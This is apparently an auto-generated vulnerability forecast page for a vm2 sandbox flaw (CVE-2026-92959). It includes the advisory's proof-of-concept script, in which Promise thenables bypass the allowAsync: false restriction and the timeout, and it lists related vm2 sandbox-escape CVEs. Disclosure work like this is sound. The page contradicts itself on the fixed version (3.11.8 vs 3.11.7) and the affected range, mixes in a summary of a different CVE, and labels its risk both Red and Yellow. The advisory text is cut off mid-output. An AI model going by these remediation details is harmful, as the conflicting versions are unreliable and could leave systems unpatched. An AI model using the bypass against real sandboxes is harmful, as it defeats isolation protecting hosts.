CVE-2026-92959 · GHSA-f8gf-w286-fmq2
vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM
- Risk score
- 55/100
- CVSS
- 7.1 v3.1
- Exploit chance (30 days)
- 0.4%
- Published
- 5 Oct 2026
Open in the live forecast Today's forecast
What to know
- What it is
- When allowAsync is set to false, vm2 is expected to reject attempts to run asynchronous code. Direct use of Promise.prototype.then is blocked, but Promise static methods still assimilate attacker-controlled thenables. Promise.resolve(thenable), Promise.all([thenable]), Promise.race([thenable]), Promise.any([thenable])…
- Affected
- vm2 (npm) <= 3.11.7
- Fix
- Upgrade vm2 to 3.11.8 or later.
- Exploitation
- No known exploitation
Story map
At a glance
vm2: Red, act today. NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes node_modules, two defaults combine to fully defeat the sandbox: require.root defaults to unrestricted — "if omitted every path is …
The flaws
- CVE-2026-92959: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM (CVSS 7.1 · EPSS 0%)
- CVE-2026-92946: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE (CVSS 10.0 · EPSS 1%)
- CVE-2026-92944: Vm2 sandbox escape on Node.js 26 through a stale PromiseThenLookupChain protector (CVSS 9.8 · EPSS 1%)
- CVE-2026-92956: Vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass (CVSS 10.0 · EPSS 1%)
The fix
Fix: Upgrade vm2 to 3.11.7 or later.
Who is exposed: vm2 (npm) <= 3.11.6
Where it stands
- Public proof of concept
Connects to
- Same weakness: CWE-693 (CWE-693). 58 other warnings in 30 days
Why it is Yellow
- CVSS 7.1 high
- On your watchlist: npm
Affected packages
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
| vm2 | npm | <= 3.11.7 | 3.11.8 |
References
- https://github.com/advisories/GHSA-f8gf-w286-fmq2
- https://github.com/patriksimek/vm2/security/advisories/GHSA-f8gf-w286-fmq2
- https://nvd.nist.gov/vuln/detail/CVE-2026-92959
- https://github.com/patriksimek/vm2/commit/1d1aa437a5a39b00b3de0deb3e31f751d4884f5f
- https://github.com/patriksimek/vm2/releases/tag/v3.11.8
- https://www.vulncheck.com/advisories/vm2-before-3.11.8-allowasync-bypass-via-promise-thenable
- https://github.com/advisories/GHSA-f8gf-w286-fmq2
Original description
### Summary When `allowAsync` is set to `false`, vm2 is expected to reject attempts to run asynchronous code. Direct use of `Promise.prototype.then` is blocked, but Promise static methods still assimilate attacker-controlled thenables. `Promise.resolve(thenable)`, `Promise.all([thenable])`, `Promise.race([thenable])`, `Promise.any([thenable])`, and `Promise.allSettled([thenable])` can invoke the thenable's `then` method in a microtask after `VM.run()` or `NodeVM.run()` has already returned. This bypasses the documented async-execution restriction and runs outside the configured `timeout`, allowing sandboxed code to continue executing after the host believes execution is complete. ### Details The documented VM option says `allowAsync: false` should cause attempts to run async code to throw a `VMError`; README.md:139-145 also recommends using it with `timeout`. The implementation enforces part of this policy by replacing `localPromise.prototype.then` with an `AsyncErrorHandler` when async is disabled: - `lib/setup-sandbox.js:1629-1637` defines `AsyncErrorHandler`, whose `apply` and `construct` traps throw `VMError: Async not available`. - `lib/setup-sandbox.js:1743-1752` installs that handler on `localPromise.prototype.then` when `allowAsync` is false. However, Promise static methods are still exposed and rebound to `localPromise`: - `lib/setup-sandbox.js:1816-1819` wraps `Promise.all`. - `lib/setup-sandbox.js:1821-1824` wraps `Promise.race`. - `lib/setup-sandbox.js:1826-1830` wraps `Promise.allSettled`. - `lib/setup-sandbox.js:1833-1837` wraps `Promise.any`. - `lib/setup-sandbox.js:1840-1843` wraps `Promise.resolve`. Those wrappers prevent species attacks by forcing `localPromise` as the constructor, but they do not reject or neutralize thenables when `allowAsync` is false. Native Promise resolution then performs `PromiseResolveThenableJob` and calls the attacker-controlled `then` method asynchronously. That job does not go through the patched `localPromise.prototype.then` method, so the `AsyncErrorHandler` is never reached. `NodeVM` inherits the same sandbox Promise setup through `VM` (`lib/nodevm.js:328-332`), so the same thenable-assimilation bypass is reachable in `NodeVM` as well. The transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of `catch`, `import`, `async`, `with`, the internal state identifier, or `\u`, so `lib/transformer.js:82-89` returns without AST parsing. ### PoC Maintainer-runnable clean-checkout recipe: ```sh npm install node - <<'NODE' const {VM, NodeVM} = require('./'); async function runVmCase(name, code) { const events = []; const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => events.push(value)}}); try { const ret = vm.run(code); console.log(`${name}: returned ${ret}`); } catch (e) { console.log(`${name}: threw ${e.name}:${e.message}`); } await new Promise(resolve => setImmediate(resolve)); console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`); } async function runNodeVmCase(name, code) { const events = []; const vm = new NodeVM({allowAsync: false, sandbox: {mark: value => events.push(value)}}); try { const ret = vm.run(code); console.log(`${name}: returned ${ret}`); } catch (e) { console.log(`${name}: threw ${e.name}:${e.message}`); } await new Promise(resolve => setImmediate(resolve)); console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`); } (async () => { await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`); await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`); await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`); await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`); await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`); await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`); await runNodeVmCase('NodeVM Promise.resolve thenable', `Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;`); await runNodeVmCase('NodeVM direct then negative control', `Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;`); const timeoutEvents = []; const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => timeoutEvents.push(value)}}); const started = Date.now(); const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t<35){};mark(Date.now())}}); 1`); const afterRun = Date.now(); await new Promise(resolve => setImmediate(resolve)); console.log(`timeout case returned: ${ret}`); console.log(`timeout case runReturnedInMs: ${afterRun - started}`); console.log(`timeout case events: ${timeoutEvents.length}`); console.log(`timeout case elapsedMs: ${Date.now() - started}`); })(); NODE ``` Expected vulnerable output pattern: ```text VM Promise.resolve thenable: returned 1 VM Promise.resolve thenable events: resolve-thenable VM Promise.all thenable: returned 1 VM Promise.all thenable events: all-thenable VM Promise.race thenable: returned 1 VM Promise.race thenable events: race-thenable VM Promise.any thenable: returned 1 VM Promise.any thenable events: any-thenable VM Promise.allSettled thenable: returned 1 VM Promise.allSettled thenable events: allSettled-thenable VM direct then negative control: threw VMError:Async not available VM direct then negative control events: <none> NodeVM Promise.resolve thenable: returned 1 NodeVM Promise.resolve thenable events: nodevm-resolve-thenable NodeVM direct then negative control: threw VMError:Async not available NodeVM direct then negative control events: <none> timeout case returned: 1 timeout
Last activity 5 Oct 2026. Patch Forecast updates every hour.